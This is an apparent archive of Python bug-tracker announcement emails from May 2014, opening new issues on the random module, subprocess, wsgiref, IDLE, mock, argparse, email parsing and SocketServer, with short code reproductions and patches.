New submission from Raymond Hettinger:

The default seeding for the random module currently used 32 bytes from urandom() to create the initial state of the random number generator.  This is far less than the number of possible states 2**19937-1.

Changing the default seed to a larger number will cover the state space.  This gives better security and better randomness by not using just a subset of the possible states.

The downside is slightly slower default initialization.

----------
assignee: rhettinger
files: better_seed.diff
keywords: patch
messages: 218238
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Better seeding for the random module
type: security
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35209/better_seed.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21470>
_______________________________________

From report at bugs.python.org  Sun May 11 13:25:06 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 11 May 2014 11:25:06 +0000
Subject: [New-bugs-announce] [issue21471] subprocess line-buffering only
	works in universal	newlines mode
Message-ID: <1399807506.68.0.880743038196.issue21471@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

The docs for subprocess.Popen seem to imply that line-buffering is always available. However, bufsize=1 is a special value only when open the pipes in text mode, i.e. when "universal newlines" are enabled.

In the short term, we should probably fix the subprocess docs.
In the long term, perhaps we can add a line buffering capability to BufferedWriter?

----------
components: Library (Lib)
messages: 218257
nosy: benjamin.peterson, gregory.p.smith, hynek, pitrou, stutzbach
priority: normal
severity: normal
status: open
title: subprocess line-buffering only works in universal newlines mode
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21471>
_______________________________________

From report at bugs.python.org  Sun May 11 13:31:53 2014
From: report at bugs.python.org (mouad)
Date: Sun, 11 May 2014 11:31:53 +0000
Subject: [New-bugs-announce] [issue21472] Fix wsgiref handling of absolute
	HTTP Request-URI
Message-ID: <1399807913.92.0.0240575633204.issue21472@psf.upfronthosting.co.za>


New submission from mouad:

Hi,

As most of you know, working behind a HTTP proxy raise all this corner cases that no one think about until he has to, one of them i had to deal with some months ago is absolute request URI in HTTP request, that some client will send when they detect that they are behind an HTTP proxy, to be more precise i am talking about this section of rfc2616 (https://gist.github.com/mouadino/7930974), i.e.

  GET http://domain.com/path HTTP/1.1

As my surprise i found that most WSGI server that are out there doesn't support very well this feature including wsgiref, to test that i have created this simple python script https://gist.github.com/mouadino/7930974 that include also status of this bug in different other projects.

In term of bug impact, if a WSGI server doesn't support this, the WSGI environment variable PATH_INFO will end up containing an absolute URI instead of relative as the standard require (http://legacy.python.org/dev/peps/pep-0333/), which mean that most uri routing that web framework do end up failing (Returning 404) b/c most of them will try to much PATH_INFO with there different routes (which are relative paths) to find which controller action should they executed e.g. https://pypi.python.org/pypi/Routes .

FWIW i found this bug while trying to debug boto library (that use absolute uri if proxy is detected https://github.com/mouadino/boto/blob/v2.13.2/boto/connection.py#L955) that was communicating with an OpenStack API that use eventlet wsgi server  (That doesn't handle absolute URI https://github.com/eventlet/eventlet/blob/v0.14/eventlet/wsgi.py#L471) and routes (that match PATH_INFO with action path https://github.com/bbangert/routes/blob/master/routes/mapper.py#L678).

----------
components: Library (Lib)
messages: 218258
nosy: mouad, pje
priority: normal
severity: normal
status: open
title: Fix wsgiref handling of absolute HTTP Request-URI
type: behavior
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21472>
_______________________________________

From report at bugs.python.org  Mon May 12 02:32:12 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 May 2014 00:32:12 +0000
Subject: [New-bugs-announce] [issue21473] Idle: test startup scripts.
Message-ID: <1399854732.22.0.268177430342.issue21473@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Add test_idle/test_startup to test that Idle starts without obvious error with any of idlelib/idle.(bat, py, pyw). Test should presumably use subprocess. Look at test.support.interactive_python for either direct use or as a model. It in turn uses test.script_helper.spawn_python and .kill_python. Also look at test_cmd_line_script.py for models. A simple sanity check would be requires('gui') test as it should bring (and exit) an actually idle window.

Beyond testing startup with no options, there are multiple options and combinations of options. Some of this could be automated easier if option decoding were separated from acting on the options. If necessary, some things could be added as a non-automated human test.

----------
messages: 218306
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Idle: test startup scripts.
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21473>
_______________________________________

From report at bugs.python.org  Mon May 12 03:27:44 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 May 2014 01:27:44 +0000
Subject: [New-bugs-announce] [issue21474] Idle: updata fixwordbreaks() for
	unicode identifiers
Message-ID: <1399858064.02.0.148903090644.issue21474@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

EditorWindow.py has this function, applied to editor and shell windows, which is obsolete for Python3 and unicode identifiers.

def fixwordbreaks(root):
    # Make sure that Tk's double-click and next/previous word
    # operations use our definition of a word (i.e. an identifier)
    tk = root.tk
    tk.call('tcl_wordBreakAfter', 'a b', 0) # make sure word.tcl is loaded
    tk.call('set', 'tcl_wordchars', '[a-zA-Z0-9_]')
    tk.call('set', 'tcl_nonwordchars', '[^a-zA-Z0-9_]')

Double clicking selects a contiguous sequence of 'word' or 
'nonword' characters.
"Control-backspace deletes word left, Control-DEL deletes word right."
"Control-left/right Arrow moves by words in a strange but useful way."

It might be more useful if the REs were expanded.

----------
messages: 218307
nosy: serhiy.storchaka, terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: Idle: updata fixwordbreaks() for unicode identifiers
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21474>
_______________________________________

From report at bugs.python.org  Mon May 12 03:35:57 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 May 2014 01:35:57 +0000
Subject: [New-bugs-announce] [issue21475] Support the Sitemap and
	Crawl-delay extensions in	robotparser
Message-ID: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

Resources:

* http://en.wikipedia.org/wiki/Robots_exclusion_standard#Nonstandard_extensions

* https://support.google.com/webmasters/answer/183669?hl=en

* https://github.com/seomoz/reppy

----------
components: Library (Lib)
keywords: easy
messages: 218308
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Support the Sitemap and Crawl-delay extensions in robotparser
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21475>
_______________________________________

From report at bugs.python.org  Mon May 12 04:58:05 2014
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Kucharski?=)
Date: Mon, 12 May 2014 02:58:05 +0000
Subject: [New-bugs-announce] [issue21476] Inconsitent behaviour between
	BytesParser.parse and	Parser.parse
Message-ID: <1399863485.87.0.621460999738.issue21476@psf.upfronthosting.co.za>


New submission from ?ukasz Kucharski:

The behaviour of the method for both classes seem to be a little different. Executing `Parser.parse(fp)` does not close the file pointer passed while Executing `BytesParser.parse` does.

I think this caused by fact that `BytesParser.parse` implementation is using `with` statement. Writing this

    fp = TextIOWrapper(file_pointer, encoding='ascii', errors='surrogateescape')
    with fp:
      return self.parser.parse(fp, headersonly)
    file_pointer.seek(0)

The original `file_pointer` gets closed and the call to `seek` fails. 

I am not sure whether such behaviour is intended, and whether, the `with` behaves badly, or the `TextIOWrapper`, or the `BytesParser`, thus I am unable to suggest or provide a patch. But I think the behaviour should be consistent and/or documented.

I attached a file that depicts the issue. The problem originated from SO:
http://stackoverflow.com/questions/23599457/how-to-parse-an-email-in-python-without-closing-the-file
I think it's a minor issue, but it did cause a code to fail with no apparent reason.

----------
components: email
files: mail_test.py
messages: 218309
nosy: barry, r.david.murray, ?ukasz.Kucharski
priority: normal
severity: normal
status: open
title: Inconsitent behaviour between BytesParser.parse and Parser.parse
type: behavior
versions: Python 3.3, Python 3.4
Added file: http://bugs.python.org/file35220/mail_test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21476>
_______________________________________

From report at bugs.python.org  Mon May 12 06:08:38 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 May 2014 04:08:38 +0000
Subject: [New-bugs-announce] [issue21477] Idle: improve idle_test,htest
Message-ID: <1399867718.01.0.81614892567.issue21477@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

#18104 created idle_test/htest.py. Besides adding more tests in other issues, some possible improvements to htest itself follow. Many depend on not reusing run, as it now it, in the runall loop. What is left in common to both might be factored out.

* For runall, reuse the same master box so the user does not have to click away each master box to see another (which also appears in a different position). Instead, rewrite the message and if still used, the button.

* Make sure tested widgets do not cover the master box. For configSectionNameDialog, an htest parameter was added to the class to change the usual positioning (which was intentionally centered over the parent).

* For most tests, eliminate the button and simply display the widget. The button is needed for testing message boxes when one wants to test different entries (the section name dialog). 'button=True' could be added to the spec where needed.

* If there is no button to restart a test, then closing the widget should, if possible, close the master. The editor window does this, but that would have to be changed if runall ran in one root.

* The pre-existing editor window test hides (withdraws) the master (root) window. This is not necessary and should be changed.

----------
messages: 218312
nosy: sahutd, terry.reedy
priority: normal
severity: normal
status: open
title: Idle: improve idle_test,htest

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21477>
_______________________________________

From report at bugs.python.org  Mon May 12 14:56:34 2014
From: report at bugs.python.org (Dmitry Andreychuk)
Date: Mon, 12 May 2014 12:56:34 +0000
Subject: [New-bugs-announce] [issue21478] mock calls don't propagate to
	parent (autospec)
Message-ID: <1399899394.81.0.714942512868.issue21478@psf.upfronthosting.co.za>


New submission from Dmitry Andreychuk:

Calls to autospecced mock functions are not recorded to mock_calls list of parent mock. This only happens if autospec is used and the original object is a function.

Example:

import unittest.mock as mock

def foo():
    pass

parent = mock.Mock()
parent.child = mock.create_autospec(foo)
parent.child()
print(parent.mock_calls)


Output:
[]

Expected output:
[call.child()]

It works fine if foo function is substituted with a class.

Initially I came across this problem with patch() and attach_mock() but I simplified it for the demonstration.

----------
components: Library (Lib)
messages: 218321
nosy: and
priority: normal
severity: normal
status: open
title: mock calls don't propagate to parent (autospec)
type: behavior
versions: Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21478>
_______________________________________

From report at bugs.python.org  Mon May 12 17:01:39 2014
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 May 2014 15:01:39 +0000
Subject: [New-bugs-announce] [issue21479] Document TarFile.open() as a
	classmethod
Message-ID: <1399906899.24.0.584343681531.issue21479@psf.upfronthosting.co.za>


New submission from Berker Peksag:

The patch also updates the signature of TarFile.open().

----------
assignee: docs at python
components: Documentation
files: tarfile-open-classmethod.diff
keywords: patch
messages: 218323
nosy: berker.peksag, docs at python, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Document TarFile.open() as a classmethod
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35225/tarfile-open-classmethod.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21479>
_______________________________________

From report at bugs.python.org  Mon May 12 17:56:38 2014
From: report at bugs.python.org (Skip Montanaro)
Date: Mon, 12 May 2014 15:56:38 +0000
Subject: [New-bugs-announce] [issue21480] A build now requires...
Message-ID: <CANc-5UyuLhx3ph0=m+guw8OGqDbZJdrMD=92CD9KM2k1sEedZw@mail.gmail.com>


New submission from Skip Montanaro:

It's been awhile since I pulled from Mercurial and built, but I tried
today. I almost immediately ran into an error. The configure step
worked fine, but make, not so much:

% make
python  ./Tools/scripts/generate_opcode_h.py ./Lib/opcode.py ./Include/opcode.h
/opt/TWWfsw/bin/gmkdir -p Include
python ./Parser/asdl_c.py -h Include ./Parser/Python.asdl
Traceback (most recent call last):
  File "./Parser/asdl_c.py", line 1312, in <module>
    main(args[0], dump_module)
  File "./Parser/asdl_c.py", line 1251, in main
    if not asdl.check(mod):
  File "/home/skipm/3rdParty/python/cpython/Parser/asdl.py", line 183, in check
    v = Check()
  File "/home/skipm/3rdParty/python/cpython/Parser/asdl.py", line 140,
in __init__
    super().__init__()
TypeError: super() takes at least 1 argument (0 given)
make: *** [Include/Python-ast.h] Error 1

Trying to figure out what went wrong, I peeked in the Makefile and found:

ASDLGEN_FILES= $(srcdir)/Parser/asdl.py $(srcdir)/Parser/asdl_c.py
# XXX Note that a build now requires Python exist before the build starts
ASDLGEN= python $(srcdir)/Parser/asdl_c.py

This is bothersome on a couple levels. One, it assumes that "python"
means "Python 3" (which it doesn't mean here in the office). Two, it
doesnt' offer any suggestions about how to work around this "missing
bootstrap". After a couple minutes fussing around, I finally got
around the problem with a few judicious "touch" commands. It would be
nice if

* The above XXX comment was expanded to describe the necessary workaround

* Even better, some sort of "asdl-bootstrap" target (referenced in the
above comment) was added to the Makefile which sprinkled the necessary
pixie dust to artificially satisfy the AST_H and AST_C targets.

The bootstrap target shouldn't ever be executed automatically, but be
available to execute manually.

I think this would be sufficient:

# For people building for the first time without an existing Python 3
asdl-bootstrap:
	touch $(AST_H) $(AST_C)

----------
messages: 218324
nosy: skip.montanaro
priority: normal
severity: normal
status: open
title: A build now requires...

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21480>
_______________________________________

From report at bugs.python.org  Mon May 12 18:08:22 2014
From: report at bugs.python.org (Joe Borg)
Date: Mon, 12 May 2014 16:08:22 +0000
Subject: [New-bugs-announce] [issue21481] Argpase Namespace object methods
	__eq__ and __ne__ raise	TypeError when comparing to None
Message-ID: <1399910902.34.0.399069985077.issue21481@psf.upfronthosting.co.za>


New submission from Joe Borg:

See example:

>>> import argparse
>>> a = argparse.ArgumentParser()
>>> b = a.parse_args([])
>>> if b != None:
...     print "hey"
  File "<stdin>", line 2
    print "hey"
              ^
SyntaxError: invalid syntax
>>> 
>>> if b != None:           
... 	print("hey")
... 
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/cfd/software/Python/340/lib/python3.4/argparse.py", line 1202, in __ne__
    return not (self == other)
  File "/cfd/software/Python/340/lib/python3.4/argparse.py", line 1199, in __eq__
    return vars(self) == vars(other)
TypeError: vars() argument must have __dict__ attribute

----------
components: Library (Lib)
messages: 218326
nosy: Joe.Borg
priority: normal
severity: normal
status: open
title: Argpase Namespace object methods __eq__ and __ne__  raise TypeError when comparing to None
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21481>
_______________________________________

From report at bugs.python.org  Mon May 12 18:09:00 2014
From: report at bugs.python.org (Joe Chan)
Date: Mon, 12 May 2014 16:09:00 +0000
Subject: [New-bugs-announce] [issue21482] get_versions() in
	cygwinccomiler.py cannot return	correct gcc version
Message-ID: <1399910940.73.0.452990357342.issue21482@psf.upfronthosting.co.za>


New submission from Joe Chan:

cannot return correct gcc version if the path name contains "space".
Suggest to change to:

$ diff -rupN cygwinccompiler.py.original cygwinccompiler.py
--- cygwinccompiler.py.original 2014-05-12 23:54:01.296303800 +0800
+++ cygwinccompiler.py  2014-05-12 23:59:57.429673400 +0800
@@ -418,14 +418,14 @@ def get_versions():

     gcc_exe = find_executable('gcc')
     if gcc_exe:
-        out = os.popen(gcc_exe + ' -dumpversion','r')
+        out = os.popen('"%s" -dumpversion'%gcc_exe,'r')
         out_string = out.read()
         out.close()
         result = re.search('(\d+\.\d+(\.\d+)*)',out_string)
         if result:
             gcc_version = LooseVersion(result.group(1))
         else:
-            gcc_version = None
+            gcc_version = None
     else:
         gcc_version = None
     ld_exe = find_executable('ld')

----------
components: Windows
messages: 218327
nosy: 3togo
priority: normal
severity: normal
status: open
title: get_versions() in cygwinccomiler.py cannot return correct gcc version
type: compile error
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21482>
_______________________________________

From report at bugs.python.org  Mon May 12 18:48:28 2014
From: report at bugs.python.org (Skip Montanaro)
Date: Mon, 12 May 2014 16:48:28 +0000
Subject: [New-bugs-announce] [issue21483] Skip os.utime() test on NFS?
Message-ID: <CANc-5Uwwdg6YrkjAf6CsUaSj35OjpEmyru3vtSAz4QMMo7E8Dw@mail.gmail.com>


New submission from Skip Montanaro:

I got a strange error during "make test" in a fresh build (hg clone ;
./configure ; make ; make test)

Traceback (most recent call last):
  File "Lib/test/test_import.py", line 293, in test_timestamp_overflow
    os.utime(source, (2 ** 33 - 5, 2 ** 33 - 5))
OSError: [Errno 22] Invalid argument

It took me a little while to figure out what was wrong. A simple check
succeeded:

>>> import os
>>> os.utime("/tmp/trash", (2 ** 33 - 5, 2 ** 33 - 5))
>>> 2**33-5
8589934587

After a bit of poking around, I realized test.support.TESTFN is on an
NFS filesystem in my work environment:

>>> import importlib
>>> from test.support import TESTFN
>>> TESTFN
'@test_31576_tmp'
>>> import sys
>>> sys.path.insert(0, os.curdir)
>>> source = TESTFN + ".py"
>>> compiled = importlib.util.cache_from_source(source)
>>> compiled
'__pycache__/@test_31576_tmp.cpython-35.pyc'
>>> open(source, 'w')
<_io.TextIOWrapper name='@test_31576_tmp.py' mode='w' encoding='ANSI_X3.4-1968'>
>>> source
'@test_31576_tmp.py'
>>> os.path.getmtime(source)
1399912946.9349897
>>> 2**33-5
8589934587
>>> os.utime(source, (2 ** 33 - 5, 2 ** 33 - 5))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 22] Invalid argument
>>> os.utime("/tmp/trash", (2 ** 33 - 5, 2 ** 33 - 5))
>>> os.curdir
'.'
>>> os.getcwd()
'/home/skipm/3rdParty/python/cpython'
>>>
blade% df -h .
Filesystem                          Size  Used Avail Use% Mounted on
nfshost3:/global/export/home/skipm  2.1T  1.5T  639G  71% /home/skipm

Should this test be skipped on NFS-mounted filesystems? Or should the
test environment try to insure TESTFN is created on a local
filesystem?

Skip

----------
messages: 218336
nosy: skip.montanaro
priority: normal
severity: normal
status: open
title: Skip os.utime() test on NFS?

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21483>
_______________________________________

From report at bugs.python.org  Mon May 12 18:58:01 2014
From: report at bugs.python.org (Feliks)
Date: Mon, 12 May 2014 16:58:01 +0000
Subject: [New-bugs-announce] [issue21484] More clarity needed about
	difference between "x += e"	and "x = x + e"
Message-ID: <1399913881.84.0.586979222354.issue21484@psf.upfronthosting.co.za>


New submission from Feliks:

In Sec. 7.2.1 of the Language Reference, in the description of "+=" we have: "Also, when possible, the actual operation is performed in-place, meaning that rather than creating a new object and assigning that to the target, the old object is modified instead."
Although this is quite accurate, not all the consequences are immediately obvious, and sometimes they are quite serious.  I would suggest adding a note that points the reader's attention in particular to the phenomenon exhibited in the following example:
>>> def f(ls):  ls += [2]
... 
>>> def g(ls):  ls = ls + [2]
... 
>>> a = [1]
>>> g(a)
>>> a
[1]
>>> f(a)
>>> a
[1, 2]

----------
assignee: docs at python
components: Documentation
messages: 218338
nosy: Kluzniak, docs at python
priority: normal
severity: normal
status: open
title: More clarity needed about difference between "x += e" and "x = x + e"
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21484>
_______________________________________

From report at bugs.python.org  Mon May 12 19:59:23 2014
From: report at bugs.python.org (akira)
Date: Mon, 12 May 2014 17:59:23 +0000
Subject: [New-bugs-announce] [issue21485] remove unnecesary .flush() calls
	in the asyncio	subprocess code example
Message-ID: <1399917563.48.0.572590350966.issue21485@psf.upfronthosting.co.za>


New submission from akira:

The current code example contains [1]:

    print("Python failed with exit code %s:" % exitcode)
    sys.stdout.flush()
    sys.stdout.buffer.flush()
    sys.stdout.buffer.write(stdout)
    sys.stdout.buffer.flush()

that looks bizarre.

Either a comment should be added that explains why the `.flush()` calls
are necessary or they should be removed.

I've attached the documentation patch that removes the calls.

[1] http://hg.python.org/cpython/file/2af5a52b9b87/Doc/library/asyncio-subprocess.rst#l227

----------
assignee: docs at python
components: Documentation
files: docs-subprocess-remove-unnecessary-flush-from-code-example.patch
keywords: patch
messages: 218342
nosy: akira, docs at python
priority: normal
severity: normal
status: open
title: remove unnecesary .flush() calls in the asyncio subprocess code example
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35230/docs-subprocess-remove-unnecessary-flush-from-code-example.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21485>
_______________________________________

From report at bugs.python.org  Mon May 12 20:24:45 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Mon, 12 May 2014 18:24:45 +0000
Subject: [New-bugs-announce] [issue21486] optimize v4 netmask parsing
Message-ID: <1399919085.99.0.439392773232.issue21486@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

Here is a patch to optimize ipv4 netmask parsing by maintaining a cache (there are not many valid ipv4 netmask representations). This should be especially useful with #16531.

----------
components: Library (Lib)
files: v4_netmask.patch
keywords: patch
messages: 218344
nosy: ncoghlan, pitrou, pmoody
priority: low
severity: normal
stage: patch review
status: open
title: optimize v4 netmask parsing
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35231/v4_netmask.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21486>
_______________________________________

From report at bugs.python.org  Mon May 12 22:04:23 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Mon, 12 May 2014 20:04:23 +0000
Subject: [New-bugs-announce] [issue21487] Assorted ipaddress performance
	improvements
Message-ID: <1399925063.26.0.615670484521.issue21487@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

Now that issue #16531 has been committed, it becomes possible to make some operations faster. Attached patch makes summarize_address_range() ~2x faster and Network.subnets() ~4x faster.

----------
components: Library (Lib)
files: ipaddr_perf.patch
keywords: patch
messages: 218357
nosy: ncoghlan, pitrou, pmoody
priority: normal
severity: normal
stage: patch review
status: open
title: Assorted ipaddress performance improvements
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35234/ipaddr_perf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21487>
_______________________________________

From report at bugs.python.org  Tue May 13 01:37:30 2014
From: report at bugs.python.org (Brad Aylsworth)
Date: Mon, 12 May 2014 23:37:30 +0000
Subject: [New-bugs-announce] [issue21488] codecs.encode/decode documentation
	inconsistency
Message-ID: <1399937850.38.0.349005624478.issue21488@psf.upfronthosting.co.za>


New submission from Brad Aylsworth:

The documentation page for codecs (https://docs.python.org/2/library/codecs.html) shows keyword arguments for codecs.encode and codecs.decode, but they throw an error if keyword arguments are used. codecs.decode.__doc__ reports 'decode(obj, [encoding[,errors]]) -> object.

This happens on both 2.7.6 and 3.4.0.

----------
assignee: docs at python
components: Documentation
messages: 218380
nosy: Ouaouaron, docs at python
priority: normal
severity: normal
status: open
title: codecs.encode/decode documentation inconsistency
type: resource usage
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21488>
_______________________________________

From report at bugs.python.org  Tue May 13 01:56:36 2014
From: report at bugs.python.org (Matthew Fernandez)
Date: Mon, 12 May 2014 23:56:36 +0000
Subject: [New-bugs-announce] [issue21489] Switching from -OO to -O still
	uses cached bytecode
Message-ID: <1399938996.28.0.0918365412077.issue21489@psf.upfronthosting.co.za>


New submission from Matthew Fernandez:

Perhaps others wouldn't consider this a bug, but it was definitely surprising to me. When switching between optimisation levels -OO (optimise and strip docstrings) and -O (just optimise), you will find the docstrings are still stripped. E.g.

$ ls
hello.py world.py
$ cat hello.py
import world
$ cat world.py
def foo():
    '''I'm a docstring'''
    pass

import sys
print 'optimization: %d' % sys.flags.optimize
if sys.flags.optimize < 2:
    print foo.__doc__
else:
    print 'optimisation is enabled; no docstrings'
$ python -OO hello.py
optimization: 2
optimisation is enabled; no docstrings
$ python -O hello.py
optimization: 1
None
$ rm world.pyo
$ python -O hello.py
optimization: 1
I'm a docstring

Is this behaviour intentional?

----------
messages: 218385
nosy: Matthew.Fernandez
priority: normal
severity: normal
status: open
title: Switching from -OO to -O still uses cached bytecode
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21489>
_______________________________________

From report at bugs.python.org  Tue May 13 09:58:42 2014
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 May 2014 07:58:42 +0000
Subject: [New-bugs-announce] [issue21490] Add Py_ABS and Py_STINGIFY macros
Message-ID: <1399967922.02.0.0726994682155.issue21490@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patches replaces duplicated C macros with two new shared macros: Py_ABS(x) and Py_STRINGIFY(x).

I didn't touch PC/pyconfig.h because it uses 3 macros to stringify instead of just 2 and I don't know why:
---
/* We want COMPILER to expand to a string containing _MSC_VER's *value*.
 * This is horridly tricky, because the stringization operator only works
 * on macro arguments, and doesn't evaluate macros passed *as* arguments.
 * Attempts simpler than the following appear doomed to produce "_MSC_VER"
 * literally in the string.
 */
#define _Py_PASTE_VERSION(SUFFIX) \
	("[MSC v." _Py_STRINGIZE(_MSC_VER) " " SUFFIX "]")
/* e.g., this produces, after compile-time string catenation,
 * 	("[MSC v.1200 32 bit (Intel)]")
 *
 * _Py_STRINGIZE(_MSC_VER) expands to
 * _Py_STRINGIZE1((_MSC_VER)) expands to
 * _Py_STRINGIZE2(_MSC_VER) but as this call is the result of token-pasting
 *      it's scanned again for macros and so further expands to (under MSVC 6)
 * _Py_STRINGIZE2(1200) which then expands to
 * "1200"
 */
#define _Py_STRINGIZE(X) _Py_STRINGIZE1((X))
#define _Py_STRINGIZE1(X) _Py_STRINGIZE2 ## X
#define _Py_STRINGIZE2(X) #X
---

Maybe it's time to drop these old macros (only required for MSVC 6?) and use Py_STRINGIFY? I will try with Visual Studio 2010.

----------
files: abs_stringify.patch
keywords: patch
messages: 218409
nosy: haypo
priority: normal
severity: normal
status: open
title: Add Py_ABS and Py_STINGIFY macros
versions: Python 3.5
Added file: http://bugs.python.org/file35238/abs_stringify.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21490>
_______________________________________

From report at bugs.python.org  Tue May 13 10:49:14 2014
From: report at bugs.python.org (Ids van der Molen)
Date: Tue, 13 May 2014 08:49:14 +0000
Subject: [New-bugs-announce] [issue21491] race condition in SocketServer.py
	ForkingMixIn	collect_children
Message-ID: <1399970954.74.0.599178198558.issue21491@psf.upfronthosting.co.za>


New submission from Ids van der Molen:

collect_children routine in SocketServer.py contains two possible race conditions. First one is in while loop "while len(self.active_children) >= self.max_children:". If status of child is collected outside of Socket server (for example in signal handler or something), then the variable self.active_children will not match actual child processes and the os.waitpid(0, 0) within the while loop will raise os.error, errno=10 (ECHILD) "No Child Processes". self.active_children should be emptied in this case, otherwise you'll end up with an endless loop comsuming 100% CPU (as happened to us).

The second possible race condition is below in the collect_children routine in the "for child in self.active_children" which contains a statement self.active_children.remove(pid) which would modify the iterator. I do not now about python 2.7, but before this would result in "incorrect iteration".
Original code:
        for child in self.active_children:
            try:
                pid, status = os.waitpid(child, os.WNOHANG)
            except os.error:
                pid = None
            if not pid: continue
            try:
                self.active_children.remove(pid)
            except ValueError, e:
                raise ValueError('%s. x=%d and list=%r' % (e.message, pid, self.active_children))

Fixed code:
        to_remove = []
        for child in self.active_children:
            try:
                pid, status = os.waitpid(child, os.WNOHANG)
            except os.error:
                pid = None
            if not pid: continue
            to_remove.append(pid)

        for pid in to_remove:
            try:
                self.active_children.remove(pid)
            except ValueError, e:
                raise ValueError('%s. x=%d and list=%r' % (e.message, pid, self.active_children))

----------
components: Library (Lib)
messages: 218414
nosy: idsvandermolen
priority: normal
severity: normal
status: open
title: race condition in SocketServer.py ForkingMixIn collect_children
type: resource usage
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21491>
_______________________________________

From report at bugs.python.org  Tue May 13 11:08:05 2014
From: report at bugs.python.org (Jim Minter)
Date: Tue, 13 May 2014 09:08:05 +0000
Subject: [New-bugs-announce] [issue21492] email.header.decode_header
	sometimes returns bytes, sometimes str
Message-ID: <1399972085.94.0.85314895463.issue21492@psf.upfronthosting.co.za>


New submission from Jim Minter:

Python 3.3.2 (default, Mar  5 2014, 08:21:05) 
[GCC 4.8.2 20131212 (Red Hat 4.8.2-7)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import email.header
>>> email.header.decode_header("foo")
[('foo', None)]
>>> email.header.decode_header("foo=?windows-1252?Q?bar?=")
[(b'foo', None), (b'bar', 'windows-1252')]

I may well be wrong, but I believe it's erroneous that in the second example above, b'foo' is returned instead of the expected 'foo'.

----------
components: Library (Lib)
messages: 218419
nosy: jim_minter
priority: normal
severity: normal
status: open
title: email.header.decode_header sometimes returns bytes, sometimes str
type: behavior
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21492>
_______________________________________

From report at bugs.python.org  Tue May 13 12:12:40 2014
From: report at bugs.python.org (Claudiu.Popa)
Date: Tue, 13 May 2014 10:12:40 +0000
Subject: [New-bugs-announce] [issue21493] Add test for ntpath.expanduser
Message-ID: <1399975960.27.0.370722329224.issue21493@psf.upfronthosting.co.za>


New submission from Claudiu.Popa:

Hello. This patch adds a test for ntpath.expanduser, which was missing. Also, it increases the test coverage for ntpath.py from 68% to 75%.

----------
components: Tests
files: expanduser.patch
keywords: patch
messages: 218427
nosy: Claudiu.Popa
priority: normal
severity: normal
status: open
title: Add test for ntpath.expanduser
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35239/expanduser.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21493>
_______________________________________

From report at bugs.python.org  Tue May 13 14:41:29 2014
From: report at bugs.python.org (Priya pawar)
Date: Tue, 13 May 2014 12:41:29 +0000
